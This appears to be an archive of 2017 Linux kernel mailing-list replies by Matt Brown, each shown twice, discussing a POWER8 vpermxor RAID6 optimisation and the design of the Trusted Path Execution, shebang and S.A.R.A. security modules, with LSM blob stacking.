Re: [v6 1/2] raid6/altivec: Add vpermxor implementation for raid6 Q syndrome

[Matt Brown]

On Wed, Aug 9, 2017 at 11:26 PM, Michael Ellerman <m...@ellerman.id.au> wrote:
> Matt Brown <matthew.brown@gmail.com> writes:
>
>> This patch uses the vpermxor instruction to optimise the raid6 Q syndrome.
>> This instruction was made available with POWER8, ISA version 2.07.
>> It allows for both vperm and vxor instructions to be done in a single
>> instruction. This has been tested for correctness on a ppc64le vm with a
>> basic RAID6 setup containing 5 drives.
>>
>> The performance benchmarks are from the raid6test in the /lib/raid6/test
>> directory. These results are from an IBM Firestone machine with ppc64le
>> architecture. The benchmark results show a 35% speed increase over the best
>> existing algorithm for powerpc (altivec). The raid6test has also been run
>> on a big-endian ppc64 vm to ensure it also works for big-endian
>> architectures.
>>
>> Performance benchmarks:
>>   raid6: altivecx4 gen() 18773 MB/s
>>   raid6: altivecx8 gen() 19438 MB/s
>>
>>   raid6: vpermxor4 gen() 25112 MB/s
>>   raid6: vpermxor8 gen() 26279 MB/s
>>
>> Signed-off-by: Matt Brown <matthew.brown@gmail.com>
>> Reviewed-by: Daniel Axtens <d...@axtens.net>
>> ---
>> v6:
>>   - added vpermxor files to .gitignore
>>   - fixup whitespace
>>   - added vpermxor objs to test/Makefile
>> v5:
>>   - moved altivec.uc fix into other patch in series
>> ---
>>  include/linux/raid/pq.h |   4 ++
>>  lib/raid6/.gitignore|   1 +
>>  lib/raid6/Makefile  |  27 -
>>  lib/raid6/algos.c   |   4 ++
>>  lib/raid6/test/Makefile |  17 +++-
>>  lib/raid6/vpermxor.uc   | 104 
>> 
>>  6 files changed, 154 insertions(+), 3 deletions(-)
>>  create mode 100644 lib/raid6/vpermxor.uc
>
> This version at least is not Cc'ed to any of the folks that
> get_maintainers.pl identifies for these files:
>
> $ ./scripts/get_maintainer.pl -f lib/raid6
> s...@fb.com
> gayatri.kamm...@intel.com
> fenghua...@intel.com
> megha@linux.intel.com
> schwidef...@de.ibm.com
> anup.pa...@broadcom.com
> linux-kernel@vger.kernel.org
>
>
> This seems like mostly a list of random folks who've touched this code,
> but maybe some of them would have comments?
>

Ah my bad. I've CC'ed them into this email chain.
Apologies for not including you guys in the original email.
Here is a link to the patchworks patch:
http://patchwork.ozlabs.org/patch/797576/

Thanks,
Matt Brown

Re: [v6 1/2] raid6/altivec: Add vpermxor implementation for raid6 Q syndrome

[Matt Brown]

On Wed, Aug 9, 2017 at 11:26 PM, Michael Ellerman  wrote:
> Matt Brown  writes:
>
>> This patch uses the vpermxor instruction to optimise the raid6 Q syndrome.
>> This instruction was made available with POWER8, ISA version 2.07.
>> It allows for both vperm and vxor instructions to be done in a single
>> instruction. This has been tested for correctness on a ppc64le vm with a
>> basic RAID6 setup containing 5 drives.
>>
>> The performance benchmarks are from the raid6test in the /lib/raid6/test
>> directory. These results are from an IBM Firestone machine with ppc64le
>> architecture. The benchmark results show a 35% speed increase over the best
>> existing algorithm for powerpc (altivec). The raid6test has also been run
>> on a big-endian ppc64 vm to ensure it also works for big-endian
>> architectures.
>>
>> Performance benchmarks:
>>   raid6: altivecx4 gen() 18773 MB/s
>>   raid6: altivecx8 gen() 19438 MB/s
>>
>>       raid6: vpermxor4 gen() 25112 MB/s
>>   raid6: vpermxor8 gen() 26279 MB/s
>>
>> Signed-off-by: Matt Brown 
>> Reviewed-by: Daniel Axtens 
>> ---
>> v6:
>>   - added vpermxor files to .gitignore
>>   - fixup whitespace
>>   - added vpermxor objs to test/Makefile
>> v5:
>>   - moved altivec.uc fix into other patch in series
>> ---
>>  include/linux/raid/pq.h |   4 ++
>>  lib/raid6/.gitignore|   1 +
>>  lib/raid6/Makefile  |  27 -
>>  lib/raid6/algos.c   |   4 ++
>>  lib/raid6/test/Makefile |  17 +++-
>>  lib/raid6/vpermxor.uc   | 104 
>> 
>>  6 files changed, 154 insertions(+), 3 deletions(-)
>>  create mode 100644 lib/raid6/vpermxor.uc
>
> This version at least is not Cc'ed to any of the folks that
> get_maintainers.pl identifies for these files:
>
> $ ./scripts/get_maintainer.pl -f lib/raid6
> s...@fb.com
> gayatri.kamm...@intel.com
> fenghua...@intel.com
> megha@linux.intel.com
> schwidef...@de.ibm.com
> anup.pa...@broadcom.com
> linux-kernel@vger.kernel.org
>
>
> This seems like mostly a list of random folks who've touched this code,
> but maybe some of them would have comments?
>

Ah my bad. I've CC'ed them into this email chain.
Apologies for not including you guys in the original email.
Here is a link to the patchworks patch:
http://patchwork.ozlabs.org/patch/797576/

Thanks,
Matt Brown

Re: [kernel-hardening] [PATCH 00/11] S.A.R.A. a new stacked LSM

[Matt Brown]

On 7/13/17 3:51 PM, Serge E. Hallyn wrote:
> Quoting Mimi Zohar (zo...@linux.vnet.ibm.com):
>> On Thu, 2017-07-13 at 08:39 -0400, Matt Brown wrote:
>> The question is really from a security perspective which is better?
>>  Obviously, as v2 of the patch set changed from using pathnames to
>> inodes, it's pretty clear that I think inodes would be better.  Kees,
>> Serge, Casey any comments?
> 
> Yes, inode seems clearly better.  Paths are too easily worked around.
> 

Sounds good. Do we think a rb_tree would be better than a list to store
the inodes in?

Matt

Re: [kernel-hardening] [PATCH 00/11] S.A.R.A. a new stacked LSM

[Matt Brown]

On 7/13/17 3:51 PM, Serge E. Hallyn wrote:
> Quoting Mimi Zohar (zo...@linux.vnet.ibm.com):
>> On Thu, 2017-07-13 at 08:39 -0400, Matt Brown wrote:
>> The question is really from a security perspective which is better?
>>  Obviously, as v2 of the patch set changed from using pathnames to
>> inodes, it's pretty clear that I think inodes would be better.  Kees,
>> Serge, Casey any comments?
> 
> Yes, inode seems clearly better.  Paths are too easily worked around.
> 

Sounds good. Do we think a rb_tree would be better than a list to store
the inodes in?

Matt

Re: [kernel-hardening] [PATCH 00/11] S.A.R.A. a new stacked LSM

[Matt Brown]

On 7/11/17 3:31 PM, Mimi Zohar wrote:
> On Tue, 2017-07-11 at 13:49 -0400, Matt Brown wrote:
> 
>> I have merged my TPE LSM with Mimi Zohar's shebang LSM and will be
>> releasing a version 3 soon. I have also added securityfs support to
>> shebang that will allow users to update the interpreter list at run
>> time. This allows for user's to configure TPE/Shebang without any
>> xattrs. For a preview of my version 3 you can check out my dev tree
>> here:
>> https://github.com/nmatt0/linux-security/tree/tpe/security/tpe
>>
>> Note: that git tree is WIP and may not have all of the attribution and
>> documentation needed.
> 
> You'll want to detect when an interpreter is deleted or renamed.  I
> would define security_inode_rename, security_path_rename,
> security_inode_unlink and security_path_unlink hooks.
> 
> "rename" could be an indication that the existing interpreter is being
> updated. "unlink" indicates that the interpreter has been deleted.  At
> either of these points, you'll want to start checking for the creation
> of a new file with the expected pathname.
> 
> Mimi
> 

Would it be better just to check for paths rather than inodes?

Matt

Re: [kernel-hardening] [PATCH 00/11] S.A.R.A. a new stacked LSM

[Matt Brown]

On 7/11/17 3:31 PM, Mimi Zohar wrote:
> On Tue, 2017-07-11 at 13:49 -0400, Matt Brown wrote:
> 
>> I have merged my TPE LSM with Mimi Zohar's shebang LSM and will be
>> releasing a version 3 soon. I have also added securityfs support to
>> shebang that will allow users to update the interpreter list at run
>> time. This allows for user's to configure TPE/Shebang without any
>> xattrs. For a preview of my version 3 you can check out my dev tree
>> here:
>> https://github.com/nmatt0/linux-security/tree/tpe/security/tpe
>>
>> Note: that git tree is WIP and may not have all of the attribution and
>> documentation needed.
> 
> You'll want to detect when an interpreter is deleted or renamed.  I
> would define security_inode_rename, security_path_rename,
> security_inode_unlink and security_path_unlink hooks.
> 
> "rename" could be an indication that the existing interpreter is being
> updated. "unlink" indicates that the interpreter has been deleted.  At
> either of these points, you'll want to start checking for the creation
> of a new file with the expected pathname.
> 
> Mimi
> 

Would it be better just to check for paths rather than inodes?

Matt

Re: [kernel-hardening] [PATCH 00/11] S.A.R.A. a new stacked LSM

[Matt Brown]

On 7/11/17 12:58 PM, Salvatore Mesoraca wrote:
> 2017-07-11 1:40 GMT+02:00 Mickaël Salaün <m...@digikod.net>:
>>
>> On 10/07/2017 09:59, Salvatore Mesoraca wrote:
>>> 2017-07-09 21:35 GMT+02:00 Mickaël Salaün <m...@digikod.net>:
>>>> Hi,
>>>>
>>>> I think it make sense to merge the W^X features with the TPE/shebang LSM
>>>> [1].
>>>>
>>>> Regards,
>>>>  Mickaël
>>>>
>>>> [1]
>>>> https://lkml.kernel.org/r/d9aca46b-97c6-4faf-b559-484feb4aa...@digikod.net
>>>
>>> Hi,
>>> Can you elaborate why it would be an advantage to have those features 
>>> merged?
>>> They seem quite unrelated.
>>> Also, they work in rather different ways in respect to how they are 
>>> configured.
>>> I'm not sure what would be a reasonable way to merge them.
>>> Thank you for your comment,
>>>
>>> Salvatore
>>>
>>
>> The aim of the Trusted Path Execution is to constraint calls to execve
>> (e.g. forbid an user to execute his own binaries, i.e. apply a W^X
>> security policy). This should handle binaries and could handle scripts
>> too [1]. However, there is always a way for a process to mmap/mprotect
>> arbitrary data and make it executable, be it intentional or not. PaX and
>> the W^X part of your LSM can handle this, or make exceptions by marking
>> a file with dedicated xattr values. This kind of exception fit well with
>> TPE to get a more hardened executable security policy (e.g. forbid an
>> user to execute his own binaries or to mmap arbitrary executable code).
>> Moreover, TPE could handle some part of its configuration from some
>> xattr values (e.g. allow scripts/interpreters, a whitelist of
>> environment variables, additional memory restrictions…) as you do with
>> SARA thanks to your tools.
> 
> I understand your point. They complement each other in some sense.
> On the other hand, I'm still worried about the suitability of merging,
> under the same LSM, two features that are managed in two
> completely different ways.
> IMHO, if they have to be merged, they should be "integrated".
> As I see it, there are only 3 possible solutions to this problem:
> 1 - SARA gives up its configuration mechanics and starts using xattrs
> 2 - TPE/shebang gives up xattrs and starts using SARA-style configurations
> 3 - SARA adds xattrs support to its quiver *and* TPE/shebang adds SARA-style
>  configuration support.
> 
> The solution number 1 is the one I'm less inclined to, as you can imagine.
> I'm in favor of solutions 2 and 3, but of course we need to know Mimi Zohar 
> and
> Matt Brown opinion on this matter.
> If we can find a consensus on the best way to merge them, I'm not against
> the merge.
> Anyway, these LSMs are stackable and they can be used together even if they
> don't get merged. So I think that merging them is not a "must".
> 
> Salvatore
> 

I have merged my TPE LSM with Mimi Zohar's shebang LSM and will be
releasing a version 3 soon. I have also added securityfs support to
shebang that will allow users to update the interpreter list at run
time. This allows for user's to configure TPE/Shebang without any
xattrs. For a preview of my version 3 you can check out my dev tree
here:
https://github.com/nmatt0/linux-security/tree/tpe/security/tpe

Note: that git tree is WIP and may not have all of the attribution and
documentation needed.

Matt Brown

Re: [kernel-hardening] [PATCH 00/11] S.A.R.A. a new stacked LSM

[Matt Brown]

On 7/11/17 12:58 PM, Salvatore Mesoraca wrote:
> 2017-07-11 1:40 GMT+02:00 Mickaël Salaün :
>>
>> On 10/07/2017 09:59, Salvatore Mesoraca wrote:
>>> 2017-07-09 21:35 GMT+02:00 Mickaël Salaün :
>>>> Hi,
>>>>
>>>> I think it make sense to merge the W^X features with the TPE/shebang LSM
>>>> [1].
>>>>
>>>> Regards,
>>>>  Mickaël
>>>>
>>>> [1]
>>>> https://lkml.kernel.org/r/d9aca46b-97c6-4faf-b559-484feb4aa...@digikod.net
>>>
>>> Hi,
>>> Can you elaborate why it would be an advantage to have those features 
>>> merged?
>>> They seem quite unrelated.
>>> Also, they work in rather different ways in respect to how they are 
>>> configured.
>>> I'm not sure what would be a reasonable way to merge them.
>>> Thank you for your comment,
>>>
>>> Salvatore
>>>
>>
>> The aim of the Trusted Path Execution is to constraint calls to execve
>> (e.g. forbid an user to execute his own binaries, i.e. apply a W^X
>> security policy). This should handle binaries and could handle scripts
>> too [1]. However, there is always a way for a process to mmap/mprotect
>> arbitrary data and make it executable, be it intentional or not. PaX and
>> the W^X part of your LSM can handle this, or make exceptions by marking
>> a file with dedicated xattr values. This kind of exception fit well with
>> TPE to get a more hardened executable security policy (e.g. forbid an
>> user to execute his own binaries or to mmap arbitrary executable code).
>> Moreover, TPE could handle some part of its configuration from some
>> xattr values (e.g. allow scripts/interpreters, a whitelist of
>> environment variables, additional memory restrictions…) as you do with
>> SARA thanks to your tools.
> 
> I understand your point. They complement each other in some sense.
> On the other hand, I'm still worried about the suitability of merging,
> under the same LSM, two features that are managed in two
> completely different ways.
> IMHO, if they have to be merged, they should be "integrated".
> As I see it, there are only 3 possible solutions to this problem:
> 1 - SARA gives up its configuration mechanics and starts using xattrs
> 2 - TPE/shebang gives up xattrs and starts using SARA-style configurations
> 3 - SARA adds xattrs support to its quiver *and* TPE/shebang adds SARA-style
>  configuration support.
> 
> The solution number 1 is the one I'm less inclined to, as you can imagine.
> I'm in favor of solutions 2 and 3, but of course we need to know Mimi Zohar 
> and
> Matt Brown opinion on this matter.
> If we can find a consensus on the best way to merge them, I'm not against
> the merge.
> Anyway, these LSMs are stackable and they can be used together even if they
> don't get merged. So I think that merging them is not a "must".
> 
> Salvatore
> 

I have merged my TPE LSM with Mimi Zohar's shebang LSM and will be
releasing a version 3 soon. I have also added securityfs support to
shebang that will allow users to update the interpreter list at run
time. This allows for user's to configure TPE/Shebang without any
xattrs. For a preview of my version 3 you can check out my dev tree
here:
https://github.com/nmatt0/linux-security/tree/tpe/security/tpe

Note: that git tree is WIP and may not have all of the attribution and
documentation needed.

Matt Brown

Re: [PATCH v2 0/1] Add Trusted Path Execution as a stackable LSM

[Matt Brown]

On 06/11/2017 07:30 AM, Mickaël Salaün wrote:


On 08/06/2017 21:01, Matt Brown wrote:

On 6/8/17 2:37 PM, Alan Cox wrote:

http://phrack.org/issues/52/6.html#article

| A trusted path is one that is inside a root owned directory that
| is not group or world writable.  /bin, /usr/bin, /usr/local/bin, are
| (under normal circumstances) considered trusted.  Any non-root
| users home directory is not trusted, nor is /tmp.


Note that in the real world the trusted path would and should also
require that any elements of the path above that point are also locked
down if you are using path based models. Ie you need to ensure nobody has
the ability to rename /usr or /usr/local before you trust /usr/local/bin.



So actually in this LSM it's not so much full paths that are trusted,
rather it checks that the directory containing the program is only
writable by root and that the program itself is only writable by root.

For example, consider the following:

/user/ with permissions drwxr-xr-x user user
/user/user-owned/ with permissions drwxr-xr-x user user
/user/user-owned/root-owned/ with permissions drwxr-xr-x root root
/user/user-owned/root-owned/exe with permissions -rwxr-xr-x root root


Some tests would make this scenario clear. ;)

You can take a look at how seccomp-bpf does with the test_harness.h
helper. A new kselftest_harness.h will be available soon to not include
a file from the seccomp-bpf directory (cf. linux-next).



I'll take a look at those. Thanks!

Matt

Re: [PATCH v2 0/1] Add Trusted Path Execution as a stackable LSM

[Matt Brown]

On 06/11/2017 07:30 AM, Mickaël Salaün wrote:


On 08/06/2017 21:01, Matt Brown wrote:

On 6/8/17 2:37 PM, Alan Cox wrote:

http://phrack.org/issues/52/6.html#article

| A trusted path is one that is inside a root owned directory that
| is not group or world writable.  /bin, /usr/bin, /usr/local/bin, are
| (under normal circumstances) considered trusted.  Any non-root
| users home directory is not trusted, nor is /tmp.


Note that in the real world the trusted path would and should also
require that any elements of the path above that point are also locked
down if you are using path based models. Ie you need to ensure nobody has
the ability to rename /usr or /usr/local before you trust /usr/local/bin.



So actually in this LSM it's not so much full paths that are trusted,
rather it checks that the directory containing the program is only
writable by root and that the program itself is only writable by root.

For example, consider the following:

/user/ with permissions drwxr-xr-x user user
/user/user-owned/ with permissions drwxr-xr-x user user
/user/user-owned/root-owned/ with permissions drwxr-xr-x root root
/user/user-owned/root-owned/exe with permissions -rwxr-xr-x root root


Some tests would make this scenario clear. ;)

You can take a look at how seccomp-bpf does with the test_harness.h
helper. A new kselftest_harness.h will be available soon to not include
a file from the seccomp-bpf directory (cf. linux-next).



I'll take a look at those. Thanks!

Matt

Re: [kernel-hardening] Re: [PATCH v2 1/1] Add Trusted Path Execution as a stackable LSM

[Matt Brown]

On 6/9/17 9:16 AM, Mimi Zohar wrote:
> On Fri, 2017-06-09 at 05:55 -0700, Kees Cook wrote:
>> On Fri, Jun 9, 2017 at 3:18 AM, Mimi Zohar <zo...@linux.vnet.ibm.com> wrote:
>>> On Thu, 2017-06-08 at 23:50 -0400, Matt Brown wrote:
>>>>>>
>>>>>> *  Issues:
>>>>>>*  Can be bypassed by interpreted languages such as python. You can 
>>>>>> run
>>>>>>   malicious code by doing: python -c 'evil code'
>>>>>
>>>>> What's the recommendation for people interested in using TPE but
>>>>> having interpreters installed?
>>>>>
>>>>
>>>> If you don't need a given interpreter installed, uninstall it. While
>>>> this is common sense system hardening it especially would make a
>>>> difference under the TPE threat model.
>>>>
>>>> I don't have a knock down answer for this. Interpreters are a hard
>>>> problem for TPE.
>>>
>>> You might be interested in the minor LSM named "shebang", that I
>>> posted as a proof of concept back in January, which restricts the
>>> python interactive prompt/interpreter, but allows the scripts
>>> themselves to be executed.
>>
>> https://patchwork.kernel.org/patch/9547405/
>>
>> Maybe these could be merged and the interpreter string could be made
>> into a configurable list?
> 
> I updated shebang, but didn't bother to post it, as nobody seemed to
> be interested at the time.  The updated version already has support
> for the configurable list. Re-posting ...
> 

That would be awesome. I think it's the perfect complement to TPE as it
protects a key hole in its current threat model.

Matt

Re: [kernel-hardening] Re: [PATCH v2 1/1] Add Trusted Path Execution as a stackable LSM

[Matt Brown]

On 6/9/17 9:16 AM, Mimi Zohar wrote:
> On Fri, 2017-06-09 at 05:55 -0700, Kees Cook wrote:
>> On Fri, Jun 9, 2017 at 3:18 AM, Mimi Zohar  wrote:
>>> On Thu, 2017-06-08 at 23:50 -0400, Matt Brown wrote:
>>>>>>
>>>>>> *  Issues:
>>>>>>*  Can be bypassed by interpreted languages such as python. You can 
>>>>>> run
>>>>>>   malicious code by doing: python -c 'evil code'
>>>>>
>>>>> What's the recommendation for people interested in using TPE but
>>>>> having interpreters installed?
>>>>>
>>>>
>>>> If you don't need a given interpreter installed, uninstall it. While
>>>> this is common sense system hardening it especially would make a
>>>> difference under the TPE threat model.
>>>>
>>>> I don't have a knock down answer for this. Interpreters are a hard
>>>> problem for TPE.
>>>
>>> You might be interested in the minor LSM named "shebang", that I
>>> posted as a proof of concept back in January, which restricts the
>>> python interactive prompt/interpreter, but allows the scripts
>>> themselves to be executed.
>>
>> https://patchwork.kernel.org/patch/9547405/
>>
>> Maybe these could be merged and the interpreter string could be made
>> into a configurable list?
> 
> I updated shebang, but didn't bother to post it, as nobody seemed to
> be interested at the time.  The updated version already has support
> for the configurable list. Re-posting ...
> 

That would be awesome. I think it's the perfect complement to TPE as it
protects a key hole in its current threat model.

Matt

Re: [PATCH v2 1/1] Add Trusted Path Execution as a stackable LSM

[Matt Brown]

On 6/9/17 8:55 AM, Kees Cook wrote:
> On Fri, Jun 9, 2017 at 3:18 AM, Mimi Zohar <zo...@linux.vnet.ibm.com> wrote:
>> On Thu, 2017-06-08 at 23:50 -0400, Matt Brown wrote:
>>>>>
>>>>> *  Issues:
>>>>>*  Can be bypassed by interpreted languages such as python. You can run
>>>>>   malicious code by doing: python -c 'evil code'
>>>>
>>>> What's the recommendation for people interested in using TPE but
>>>> having interpreters installed?
>>>>
>>>
>>> If you don't need a given interpreter installed, uninstall it. While
>>> this is common sense system hardening it especially would make a
>>> difference under the TPE threat model.
>>>
>>> I don't have a knock down answer for this. Interpreters are a hard
>>> problem for TPE.
>>
>> You might be interested in the minor LSM named "shebang", that I
>> posted as a proof of concept back in January, which restricts the
>> python interactive prompt/interpreter, but allows the scripts
>> themselves to be executed.
> 
> https://patchwork.kernel.org/patch/9547405/
> 
> Maybe these could be merged and the interpreter string could be made
> into a configurable list?
> 

Yes this looks promising. I'll look into integrating this.

Matt

Re: [PATCH v2 1/1] Add Trusted Path Execution as a stackable LSM

[Matt Brown]

On 6/9/17 8:55 AM, Kees Cook wrote:
> On Fri, Jun 9, 2017 at 3:18 AM, Mimi Zohar  wrote:
>> On Thu, 2017-06-08 at 23:50 -0400, Matt Brown wrote:
>>>>>
>>>>> *  Issues:
>>>>>*  Can be bypassed by interpreted languages such as python. You can run
>>>>>   malicious code by doing: python -c 'evil code'
>>>>
>>>> What's the recommendation for people interested in using TPE but
>>>> having interpreters installed?
>>>>
>>>
>>> If you don't need a given interpreter installed, uninstall it. While
>>> this is common sense system hardening it especially would make a
>>> difference under the TPE threat model.
>>>
>>> I don't have a knock down answer for this. Interpreters are a hard
>>> problem for TPE.
>>
>> You might be interested in the minor LSM named "shebang", that I
>> posted as a proof of concept back in January, which restricts the
>> python interactive prompt/interpreter, but allows the scripts
>> themselves to be executed.
> 
> https://patchwork.kernel.org/patch/9547405/
> 
> Maybe these could be merged and the interpreter string could be made
> into a configurable list?
> 

Yes this looks promising. I'll look into integrating this.

Matt

Re: [PATCH v2 1/1] Add Trusted Path Execution as a stackable LSM

[Matt Brown]

On 06/08/2017 10:38 PM, Kees Cook wrote:

On Wed, Jun 7, 2017 at 8:43 PM, Matt Brown <m...@nmatt.com> wrote:

This patch was modified from Brad Spengler's Trusted Path Execution (TPE)
feature. It also adds features and config options that were found in Corey
Henderson's tpe-lkm project.

Modifications from Brad Spengler's implementation of TPE were made to
turn it into a stackable LSM using the existing LSM hook bprm_set_creds.
Also, a new denial logging function was used to simplify printing messages
to the kernel log. Additionally, mmap and mprotect restrictions were
taken from Corey Henderson's tpe-lkm project and implemented using the
LSM hooks mmap_file and file_mprotect.

Trusted Path Execution is not a new idea:

http://phrack.org/issues/52/6.html#article

| A trusted path is one that is inside a root owned directory that
| is not group or world writable.  /bin, /usr/bin, /usr/local/bin, are
| (under normal circumstances) considered trusted.  Any non-root
| users home directory is not trusted, nor is /tmp.

To be clear, Trusted Path Execution is no replacement for a MAC system
like SELinux, SMACK, or AppArmor. This LSM is designed to be good enough
without requiring a userland utility to configure policies. The fact
that TPE only requires the user to turn on a few sysctl options lowers
the barrier to implementing a security framework substantially.

Threat Models:

1. Attacker on system executing exploit on system vulnerability

*  If attacker uses a binary as a part of their system exploit, TPE can
   frustrate their efforts

*  This protection can be more effective when an attacker does not yet
   have an interactive shell on a system

*  Issues:
   *  Can be bypassed by interpreted languages such as python. You can run
  malicious code by doing: python -c 'evil code'


What's the recommendation for people interested in using TPE but
having interpreters installed?



If you don't need a given interpreter installed, uninstall it. While
this is common sense system hardening it especially would make a
difference under the TPE threat model.

I don't have a knock down answer for this. Interpreters are a hard
problem for TPE.



2. Attacker on system replaces binary used by a privileged user with a
   malicious one

*  This situation arises when the administrator of a system leaves a
   binary as world writable.

*  TPE is very effective against this threat model

This Trusted Path Execution implementation introduces the following
Kconfig options and sysctls. The Kconfig text and sysctl options are
taken heavily from Brad Spengler's implementation. Some extra sysctl
options were taken from Corey Henderson's implementation.

CONFIG_SECURITY_TPE (sysctl=kernel.tpe.enabled)

default: n

This option enables Trusted Path Execution. TPE blocks *untrusted*
users from executing files that meet the following conditions:

* file is not in a root-owned directory
* file is writable by a user other than root

NOTE: By default root is not restricted by TPE.

CONFIG_SECURITY_TPE_GID (sysctl=kernel.tpe.gid)

default: 0

This option defines a group id that, by default, is the trusted group.
If a user is not trusted then it has the checks described in
CONFIG_SECURITY_TPE applied. Otherwise, the user is trusted and the
checks are not applied. You can disable the trusted gid option by
setting it to 0. This makes all non-root users untrusted.

CONFIG_SECURITY_TPE_STRICT (sysctl=kernel.tpe.strict)

default: n

This option applies another set of restrictions to all non-root users
even if they are trusted. This only allows execution under the
following conditions:

* file is in a directory owned by the user that is not group or
  world-writable
* file is in a directory owned by root and writable only by root

CONFIG_SECURITY_TPE_RESTRICT_ROOT (sysctl=kernel.tpe.restrict_root)

default: n

This option applies all enabled TPE restrictions to root.

CONFIG_SECURITY_TPE_INVERT_GID (sysctl=kernel.tpe.invert_gid)

default: n

This option reverses the trust logic of the gid option and makes
kernel.tpe.gid into the untrusted group. This means that all other groups
become trusted. This sysctl is helpful when you want TPE restrictions
to be limited to a small subset of users.

Signed-off-by: Matt Brown <m...@nmatt.com>
---
 Documentation/security/tpe.txt |  59 +++
 MAINTAINERS|   5 +
 include/linux/lsm_hooks.h  |   5 +
 security/Kconfig   |   1 +
 security/Makefile  |   2 +
 security/security.c|   1 +
 security/tpe/Kconfig   |  64 
 security/tpe/Makefile  |   3 +
 security/tpe/tpe_lsm.c | 218 +
 9 files changed, 358 insertions(+)
 create mode 100644 Documentation/security/tpe.txt
 create mode 100644 security/tpe/Kconfig
 create mode 100644 security/tpe/Makefile
 create mode 100644 security/tpe/tpe_lsm.c

diff --git a/Documentation/security/tpe.txt b/Documentation/security/tpe.

Re: [PATCH v2 1/1] Add Trusted Path Execution as a stackable LSM

[Matt Brown]

On 06/08/2017 10:38 PM, Kees Cook wrote:

On Wed, Jun 7, 2017 at 8:43 PM, Matt Brown  wrote:

This patch was modified from Brad Spengler's Trusted Path Execution (TPE)
feature. It also adds features and config options that were found in Corey
Henderson's tpe-lkm project.

Modifications from Brad Spengler's implementation of TPE were made to
turn it into a stackable LSM using the existing LSM hook bprm_set_creds.
Also, a new denial logging function was used to simplify printing messages
to the kernel log. Additionally, mmap and mprotect restrictions were
taken from Corey Henderson's tpe-lkm project and implemented using the
LSM hooks mmap_file and file_mprotect.

Trusted Path Execution is not a new idea:

http://phrack.org/issues/52/6.html#article

| A trusted path is one that is inside a root owned directory that
| is not group or world writable.  /bin, /usr/bin, /usr/local/bin, are
| (under normal circumstances) considered trusted.  Any non-root
| users home directory is not trusted, nor is /tmp.

To be clear, Trusted Path Execution is no replacement for a MAC system
like SELinux, SMACK, or AppArmor. This LSM is designed to be good enough
without requiring a userland utility to configure policies. The fact
that TPE only requires the user to turn on a few sysctl options lowers
the barrier to implementing a security framework substantially.

Threat Models:

1. Attacker on system executing exploit on system vulnerability

*  If attacker uses a binary as a part of their system exploit, TPE can
   frustrate their efforts

*  This protection can be more effective when an attacker does not yet
   have an interactive shell on a system

*  Issues:
   *  Can be bypassed by interpreted languages such as python. You can run
  malicious code by doing: python -c 'evil code'


What's the recommendation for people interested in using TPE but
having interpreters installed?



If you don't need a given interpreter installed, uninstall it. While
this is common sense system hardening it especially would make a
difference under the TPE threat model.

I don't have a knock down answer for this. Interpreters are a hard
problem for TPE.



2. Attacker on system replaces binary used by a privileged user with a
   malicious one

*  This situation arises when the administrator of a system leaves a
   binary as world writable.

*  TPE is very effective against this threat model

This Trusted Path Execution implementation introduces the following
Kconfig options and sysctls. The Kconfig text and sysctl options are
taken heavily from Brad Spengler's implementation. Some extra sysctl
options were taken from Corey Henderson's implementation.

CONFIG_SECURITY_TPE (sysctl=kernel.tpe.enabled)

default: n

This option enables Trusted Path Execution. TPE blocks *untrusted*
users from executing files that meet the following conditions:

* file is not in a root-owned directory
* file is writable by a user other than root

NOTE: By default root is not restricted by TPE.

CONFIG_SECURITY_TPE_GID (sysctl=kernel.tpe.gid)

default: 0

This option defines a group id that, by default, is the trusted group.
If a user is not trusted then it has the checks described in
CONFIG_SECURITY_TPE applied. Otherwise, the user is trusted and the
checks are not applied. You can disable the trusted gid option by
setting it to 0. This makes all non-root users untrusted.

CONFIG_SECURITY_TPE_STRICT (sysctl=kernel.tpe.strict)

default: n

This option applies another set of restrictions to all non-root users
even if they are trusted. This only allows execution under the
following conditions:

* file is in a directory owned by the user that is not group or
  world-writable
* file is in a directory owned by root and writable only by root

CONFIG_SECURITY_TPE_RESTRICT_ROOT (sysctl=kernel.tpe.restrict_root)

default: n

This option applies all enabled TPE restrictions to root.

CONFIG_SECURITY_TPE_INVERT_GID (sysctl=kernel.tpe.invert_gid)

default: n

This option reverses the trust logic of the gid option and makes
kernel.tpe.gid into the untrusted group. This means that all other groups
become trusted. This sysctl is helpful when you want TPE restrictions
to be limited to a small subset of users.

Signed-off-by: Matt Brown 
---
 Documentation/security/tpe.txt |  59 +++
 MAINTAINERS|   5 +
 include/linux/lsm_hooks.h  |   5 +
 security/Kconfig   |   1 +
 security/Makefile  |   2 +
 security/security.c|   1 +
 security/tpe/Kconfig   |  64 
 security/tpe/Makefile  |   3 +
 security/tpe/tpe_lsm.c | 218 +
 9 files changed, 358 insertions(+)
 create mode 100644 Documentation/security/tpe.txt
 create mode 100644 security/tpe/Kconfig
 create mode 100644 security/tpe/Makefile
 create mode 100644 security/tpe/tpe_lsm.c

diff --git a/Documentation/security/tpe.txt b/Documentation/security/tpe.txt
new file mode 100644
index 000

Re: [kernel-hardening] [PATCH 0/6] LSM: Security module blob management

[Matt Brown]

On 6/8/17 4:43 PM, Casey Schaufler wrote:
> Subject: [PATCH 0/6] LSM: Security module blob management
> 
> This patch set moves management of security blobs out of
> the Linux security modules and into the security module
> infrastructure. This allows "major" security modules that
> use blobs to be stacked, just as "minor" modules that
> do not use blobs can be stacked today. It stops short of
> providing a safe interface for the Netlabel and SO_PEERSEC.
> As a result, any of the existing security modules may be
> used in combination except for SELinux and Smack.

Very excited about this! I can definitely see use cases for special
purpose LSMs that require data blobs but do not replace things like
SELinux, SMACK or AppArmor. I have had a few ideas recently that would
not be possible under the current setup of one shared blob.

Matt

Re: [kernel-hardening] [PATCH 0/6] LSM: Security module blob management

[Matt Brown]

On 6/8/17 4:43 PM, Casey Schaufler wrote:
> Subject: [PATCH 0/6] LSM: Security module blob management
> 
> This patch set moves management of security blobs out of
> the Linux security modules and into the security module
> infrastructure. This allows "major" security modules that
> use blobs to be stacked, just as "minor" modules that
> do not use blobs can be stacked today. It stops short of
> providing a safe interface for the Netlabel and SO_PEERSEC.
> As a result, any of the existing security modules may be
> used in combination except for SELinux and Smack.

Very excited about this! I can definitely see use cases for special
purpose LSMs that require data blobs but do not replace things like
SELinux, SMACK or AppArmor. I have had a few ideas recently that would
not be possible under the current setup of one shared blob.

Matt

Re: [PATCH v2 0/1] Add Trusted Path Execution as a stackable LSM

[Matt Brown]

On 6/8/17 2:37 PM, Alan Cox wrote:
>> http://phrack.org/issues/52/6.html#article
>>
>> | A trusted path is one that is inside a root owned directory that
